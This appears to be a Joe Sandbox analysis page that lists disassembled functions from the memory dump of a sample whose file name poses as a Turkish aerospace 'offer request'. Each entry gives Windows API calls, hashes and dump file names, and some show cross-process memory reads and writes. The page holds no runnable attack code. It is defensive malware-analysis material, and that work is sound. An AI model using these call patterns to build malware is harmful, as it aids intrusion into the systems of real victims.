API String ID: 2294984445-0
Opcode ID: f39ec7e51e5246a5b8318364301aed45cb95f5df63cb5976614b88cfc8cc9944
Instruction ID: c442da78625c6d4accc8f6c6c90cc6ab232f82f6806dd5725177ff3c9cf9757c
Opcode Fuzzy Hash: f39ec7e51e5246a5b8318364301aed45cb95f5df63cb5976614b88cfc8cc9944
Instruction Fuzzy Hash: 3C219171A10272AFDB709E3CDC04A6A3BA4FB06761F604768FAB6D71E0D73598118B90

Function 00FF9307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00FF9320

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00FF9352
__itow.LIBCMT ref: 00FF936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00FF9392
__itow.LIBCMT ref: 00FF93A3

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: aa413d98ee3e6cb165f5e9f1664c1ec331399a946d00e9723cf54c3b72532c57
Instruction ID: 83dc79de8007909d5e921ad974e8adde93957ea3d9e258e509ed9693f2b59d68
Opcode Fuzzy Hash: aa413d98ee3e6cb165f5e9f1664c1ec331399a946d00e9723cf54c3b72532c57
Instruction Fuzzy Hash: 9E212831B0420C6BDB20AE609C89FFE3BADEF49760F044029FA44DB191D6B58D44A791

Function 01015A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 01015A6E
GetForegroundWindow.USER32 ref: 01015A85
GetDC.USER32(00000000), ref: 01015AC1
GetPixel.GDI32(00000000,?,00000003), ref: 01015ACD
ReleaseDC.USER32(00000000,00000003), ref: 01015B08

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: a6a31692f0545441debc753509825d2bce1d8ac338d04ec5890616f195840e4b
Instruction ID: 07a2bd0286adcd8dc83758cfbc6c8fde50c4326746d8a50ca2b34c1ff94081aa
Opcode Fuzzy Hash: a6a31692f0545441debc753509825d2bce1d8ac338d04ec5890616f195840e4b
Instruction Fuzzy Hash: 9321A176A00204AFD720EF64DC88A9ABBF5FF89350F148079E889D7355CA78ED00DB90

Function 00FA12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00FA134D
SelectObject.GDI32(?,00000000), ref: 00FA135C
BeginPath.GDI32(?), ref: 00FA1373
SelectObject.GDI32(?,00000000), ref: 00FA139C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: c55dc24594bcdebea1c101dfe3618bdd75098fdd398e0ccdef4d4756cbcd8100
Instruction ID: 0e7f769080a3d4f7e4b2e1e5cac70e15d09b10ec3db4eb99a3307eb6288fc7e1
Opcode Fuzzy Hash: c55dc24594bcdebea1c101dfe3618bdd75098fdd398e0ccdef4d4756cbcd8100
Instruction Fuzzy Hash: 81215E71800309EFDF218F25DC4476D7BA8FB053A1F258216F890A69A4D77A9891EF90

Function 01004A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 01004ABA
__beginthreadex.LIBCMT ref: 01004AD8
MessageBoxW.USER32(?,?,?,?), ref: 01004AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 01004B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 01004B0A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 572ea931e96b13ff1b542c0023ad842c47f66c99887c7469ac9f8bd87a3cbdad
Instruction ID: b7668618b6fa14e41339889a80eeb907bdd88daa4a202dcdf582359f2b691961
Opcode Fuzzy Hash: 572ea931e96b13ff1b542c0023ad842c47f66c99887c7469ac9f8bd87a3cbdad
Instruction Fuzzy Hash: FC112B76904206BBE7319FBCDC08B9F7FBCEB46364F244259F954D3294D67A890487A0

Function 00FF8202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FF821E
GetLastError.KERNEL32(?,00FF7CE2,?,?,?), ref: 00FF8228
GetProcessHeap.KERNEL32(00000008,?,?,00FF7CE2,?,?,?), ref: 00FF8237
HeapAlloc.KERNEL32(00000000,?,00FF7CE2,?,?,?), ref: 00FF823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FF8255

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: e0ff212b101dab06361551dd1a8caf60abba0febbca0fb65b070a305d963caea
Instruction ID: 0c7b7cbaf7b0c46a37c0d7f8af8d275fa671ac9e9e7effa61fbfa81087841eb5
Opcode Fuzzy Hash: e0ff212b101dab06361551dd1a8caf60abba0febbca0fb65b070a305d963caea
Instruction Fuzzy Hash: 7D016D71600209BFDB305FA5DC48D6B7BBCEF8A7A4B600429F949C2220DB329C01DB60

Function 00FF710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FF7044,80070057,?,?,?,00FF7455), ref: 00FF7127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FF7044,80070057,?,?), ref: 00FF7142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FF7044,80070057,?,?), ref: 00FF7150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FF7044,80070057,?), ref: 00FF7160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FF7044,80070057,?,?), ref: 00FF716C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c152f9d9bb3abb7b65b7953f1257af23b96cdc9566ed1d7253882df0e2a788f6
Instruction ID: e89ead9ae55496c3e5bd64be6e58260289b4b2ba79be9a0792a471673eb4ef7e
Opcode Fuzzy Hash: c152f9d9bb3abb7b65b7953f1257af23b96cdc9566ed1d7253882df0e2a788f6
Instruction Fuzzy Hash: 3D01D472A00319BBCB205F24DC44BAAFBBCEF44BA1F2000A4FE44D2224D776DD01A7A0

Function 01005244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 01005260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0100526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 01005276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 01005280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 010052BC

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 0c895175183057d5471fb89a036ba47501ee12973da726028d1a33f6e83756d5
Instruction ID: d5a2af1e7cb9c9f741365accf5e54bf344affb8812d84a189f9999e58624aa3f
Opcode Fuzzy Hash: 0c895175183057d5471fb89a036ba47501ee12973da726028d1a33f6e83756d5
Instruction Fuzzy Hash: AF015735D0161EDBEF21EFE4EC48AEDBB78FF0A711F500086E981B2284CB3955508BA1

Function 00FF810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00FF8121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00FF812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FF813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00FF8141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FF8157

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 731649a91f643c8c9d775f84d2a334672d337edc0525dad981c3e501f4f3751c
Instruction ID: dce1406d85799f23b518ea20350535b7105abd32591a2bf042c44db63bf9f6fe
Opcode Fuzzy Hash: 731649a91f643c8c9d775f84d2a334672d337edc0525dad981c3e501f4f3751c
Instruction Fuzzy Hash: E7F04471600305AFE7311E65DC88E773BBCEF457A4B200115F685C6150CB659952DB60

Function 00FFC1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00FFC1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 00FFC20E
MessageBeep.USER32(00000000), ref: 00FFC226
KillTimer.USER32(?,0000040A), ref: 00FFC242
EndDialog.USER32(?,00000001), ref: 00FFC25C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 55771d784ae4b1523da8c566ab5c79c260fb364aef1b54b286cc79a92ddf6e15
Instruction ID: e717cee9fd89924df6c73072dde9885b20ca4235f1118462634a7e80fa27b2be
Opcode Fuzzy Hash: 55771d784ae4b1523da8c566ab5c79c260fb364aef1b54b286cc79a92ddf6e15
Instruction Fuzzy Hash: 5901A73040431D97EB305F60DD4EFA67778FF04B05F00025DE682A14E1DBE96948AB90

Function 00FA13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00FA13BF
StrokeAndFillPath.GDI32(?,?,00FDB888,00000000,?), ref: 00FA13DB
SelectObject.GDI32(?,00000000), ref: 00FA13EE
DeleteObject.GDI32 ref: 00FA1401
StrokePath.GDI32(?), ref: 00FA141C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: cdb3beba66225d3f7bc5106a2e293b3c40a96a025f193ebf62e33404110df5e1
Instruction ID: 57dc7cafb09e4d6a42daa2a0501f422c729ecf6cd4163000a60492c2e7bbee43
Opcode Fuzzy Hash: cdb3beba66225d3f7bc5106a2e293b3c40a96a025f193ebf62e33404110df5e1
Instruction Fuzzy Hash: A4F01D300003099FDB315F1AEC4C7583BB5BB023A6F188215F8A9584F8C73E4595DF10

Function 00FB2CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00FC0DB6: std::exception::exception.LIBCMT ref: 00FC0DEC
Part of subcall function 00FC0DB6: __CxxThrowException@8.LIBCMT ref: 00FC0E01

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 00FA7A51: _memmove.LIBCMT ref: 00FA7AAB

__swprintf.LIBCMT ref: 00FB2ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00FB2D66

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 4a49a595e7acc4a5369f3691a9fa763740e1eb48a5675bd5ca89656c31d2907c
Instruction ID: cbcbbb46fdfa2388337bbf243c470aa018e705b290d34bb57fe6bce9651005a1
Opcode Fuzzy Hash: 4a49a595e7acc4a5369f3691a9fa763740e1eb48a5675bd5ca89656c31d2907c
Instruction Fuzzy Hash: C8918C715083059FC714EF25CC86DAFB7A8EF9A760F00491DF4869B2A1DA38ED44EB52

Function 0100B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FA4743,?,?,00FA37AE,?), ref: 00FA4770

CoInitialize.OLE32(00000000), ref: 0100B9BB
CoCreateInstance.OLE32(01032D6C,00000000,00000001,01032BDC,?), ref: 0100B9D4
CoUninitialize.OLE32 ref: 0100B9F1

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

Strings

.lnk, xrefs: 0100B99D, 0100B9AB

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 5d1dfefac1699368011a1beca95cabcfda3761c981eb9892defc8e9326414ef1
Instruction ID: f85eab9002cd2c7423c150ba8667785a6997044e334df7b2eb0244005ccd01b5
Opcode Fuzzy Hash: 5d1dfefac1699368011a1beca95cabcfda3761c981eb9892defc8e9326414ef1
Instruction Fuzzy Hash: 1EA166746043059FD711DF14C884D2ABBE5FF8A314F048998F8999B3A2CB75ED45CB92

Function 00FC501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00FC50AD

Part of subcall function 00FD00F0: __87except.LIBCMT ref: 00FD012B

Strings

pow, xrefs: 00FC5085, 00FC50A2

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 724fbf9af89edb304665ce0fc1747526685de383f4f78eacfc0484c9f3824baa
Instruction ID: 06b54c12e3c92cb5aa103d95bed9c4bde233c6e5073a48045ed5f005a08421a6
Opcode Fuzzy Hash: 724fbf9af89edb304665ce0fc1747526685de383f4f78eacfc0484c9f3824baa
Instruction Fuzzy Hash: A8518B71D0960386DB217624CE07B6E3B95AB40B20F28895EE4D5C6399DF399DC4BB82

Function 00FB6192 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FB6248
_memmove.LIBCMT ref: 00FB62E4
_memset.LIBCMT ref: 00FB6308

Strings

ERCP, xrefs: 00FB61B3

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: f6f4411607d113955e74c7c22b1e00fd4dcf52b3caeaa110d76729e821f0cf4d
Instruction ID: ef44bbb142230225388ddc156ec0046b40d864620693f5be7a3a8a48280d1dc2
Opcode Fuzzy Hash: f6f4411607d113955e74c7c22b1e00fd4dcf52b3caeaa110d76729e821f0cf4d
Instruction Fuzzy Hash: E8518171900309DBDB24DF55C941BEAB7E4EF44314F24456EE94AC7251EB38AA44EF50

Function 00FF97F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 010014BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00FF9296,?,?,00000034,00000800,?,00000034), ref: 010014E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00FF983F

Part of subcall function 01001487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00FF92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 010014B1

Part of subcall function 010013DE: GetWindowThreadProcessId.USER32(?,?), ref: 01001409
Part of subcall function 010013DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00FF925A,00000034,?,?,00001004,00000000,00000000), ref: 01001419
Part of subcall function 010013DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00FF925A,00000034,?,?,00001004,00000000,00000000), ref: 0100142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00FF98AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00FF98F9

Strings

@, xrefs: 00FF9911

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 077dd7753ef405c330def0cf8a7cfad91a2fab9f47272ec323797bb042e95116
Instruction ID: e03f45c20a9a14169e61223093c9d8a3a2b49bfc1c679bde5464645b049767f8
Opcode Fuzzy Hash: 077dd7753ef405c330def0cf8a7cfad91a2fab9f47272ec323797bb042e95116
Instruction Fuzzy Hash: AF415175D0011DAFDB21DFA4CC85EDEBB78EF09340F104059EA95B7190DA71AE45DBA0

Function 01027946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0102F910,00000000,?,?,?,?), ref: 010279DF
GetWindowLongW.USER32 ref: 010279FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 01027A0C

Strings

SysTreeView32, xrefs: 010279B1

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

